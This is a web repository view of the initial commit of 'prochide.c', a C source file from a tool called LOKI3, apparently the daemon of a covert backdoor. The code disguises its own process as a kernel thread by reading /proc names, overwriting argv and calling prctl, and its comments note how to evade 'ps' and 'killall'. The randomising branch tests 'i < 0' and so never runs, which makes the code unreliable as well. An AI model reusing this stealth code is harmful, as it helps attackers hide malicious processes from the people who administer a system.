summaryrefslogtreecommitdiff
path: root/prochide.c
diff options
context:
space:
mode:
authordaniel <daniel@planethacker.net>2025-05-07 09:45:50 -0700
committerdaniel <daniel@planethacker.net>2025-05-07 09:45:50 -0700
commiteeac69b2168c5a65f9608771006ccc43033cbd23 (patch)
tree1dc44a6016b607085a691768810d551045df9901 /prochide.c
initial commitHEADmain
Diffstat (limited to 'prochide.c')
-rw-r--r--prochide.c146
1 files changed, 146 insertions, 0 deletions
diff --git a/prochide.c b/prochide.c
new file mode 100644
index 0000000..951ec35
--- /dev/null
+++ b/prochide.c
@@ -0,0 +1,146 @@
+/*
+ * LOKI3
+ *
+ * [ prochide.c ]
+ *
+ * 2019 and beyond Elective Surgery [dmfr]
+ *
+ * Observations:
+ * - On Linux, prctl() will not change the output of `ps`
+ * - `killall lokid won't work against './lokid' after prctl(),
+ * however it will work against whatever name you set with prctl().
+ * - argv[] needs to be overwritten to hide from `ps`
+ * - /proc/PID/cmdline will still be './lokid' after argv[] and prctl()
+ * - prctl() is not portable
+ * - zeroing out argv[0] on Linux makes ps show a blank process
+ * - invoking lokid with full path gives more room to play with argv[0]
+ */
+
+#include <stdbool.h>
+#include <string.h>
+#include <limits.h>
+#include <dirent.h>
+#include <time.h>
+#include <sys/types.h>
+#ifdef LINUX
+#include <sys/prctl.h>
+#endif /* LINUX */
+
+#include "loki.h"
+#include "prochide.h"
+
+
+#define DEFAULT_PROCNAME "atd" /* Default to a small name */
+
+struct thread_names {
+ char name[PATH_MAX];
+ int max;
+};
+
+
+bool string_is_number(const char *str) {
+ return (strspn(str, "0123456789") == strlen(str)) ? true : false;
+}
+
+
+bool prochide(int argc, char *argv[]) {
+ int i;
+ size_t len;
+ char progname[PATH_MAX];
+ DIR *dirp;
+ struct dirent *de;
+ struct thread_names tnames[10];
+
+ /* Zero out thread names array */
+ for (i = 0; i < sizeof(tnames) / sizeof(struct thread_names); i++) {
+ memset(tnames[i].name, 0, sizeof(tnames[i].name));
+ tnames[i].max = 0;
+ }
+
+ srand(time(NULL));
+
+ /* TODO This is not working on Solaris */
+ snprintf(progname, sizeof(progname), "%s", DEFAULT_PROCNAME);
+
+ len = strlen(argv[0]);
+
+ /* Find a random, suitable kernel thread name to mimick. */
+ dirp = opendir("/proc");
+ if (dirp != NULL) { /* /proc exists */
+ while ((de = readdir(dirp)) != NULL) {
+ if (de->d_type == DT_DIR && string_is_number(de->d_name)) {
+ FILE *fp;
+ char buf[PATH_MAX] = {0};
+ char commfile[PATH_MAX] = {0};
+
+ /* Read contents of /proc/PID/comm into buf */
+ snprintf(commfile, sizeof(commfile) - 1, "/proc/%s/comm", de->d_name);
+ if ((fp = fopen(commfile, "r")) != NULL) {
+ fgets(buf, sizeof(buf), fp);
+ fclose(fp);
+ } else {
+ continue;
+ }
+
+ if (strlen(buf) > (len - 2)) // account for []
+ continue;
+
+ /* Determine if current process's name is suitable */
+ char b[PATH_MAX];
+ char r[PATH_MAX];
+ int d;
+
+ /* We want only string/X, not string/X-foo */
+ if (sscanf(buf, "%[^/]/%d%s\n", b, &d, r) != 2)
+ continue;
+
+ for (i = 0; i < sizeof(tnames) / sizeof(struct thread_names); i++) {
+ /* End of array and string not seen yet */
+ if (strlen(tnames[i].name) == 0) {
+ memcpy(tnames[i].name, b, strlen(b));
+ tnames[i].max = d;
+ break;
+ }
+
+ /* Check if we have already seen this thread name */
+ if (strcmp(b, tnames[i].name) == 0) {
+ if (d > tnames[i].max)
+ tnames[i].max = d;
+ break;
+ }
+ }
+ }
+ }
+
+ closedir(dirp);
+
+ /* Determine number of entries in tnames */
+ for (i = 0; i < sizeof(tnames) / sizeof(struct thread_names); i++) {
+ if (tnames[i].max == 0)
+ break;
+ }
+
+ /* Use random tname member */
+ if (i < 0) {
+ int r = rand() % i;
+ snprintf(progname, sizeof(progname),
+ "[%s/%d]", tnames[r].name, tnames[r].max + 1);
+ }
+ }
+
+ memset(argv[0], 0, len);
+ memcpy(argv[0], progname, len);
+
+ /* Zero out remaining command line arguments */
+ for (i = 1; i < argc; i++) {
+ memset(argv[i], 0, strlen(argv[i]));
+ }
+
+#ifdef LINUX
+ prctl(PR_SET_NAME, progname, 0, 0, 0);
+#endif /* LINUX */
+
+ return true;
+}
+
+/* EOF */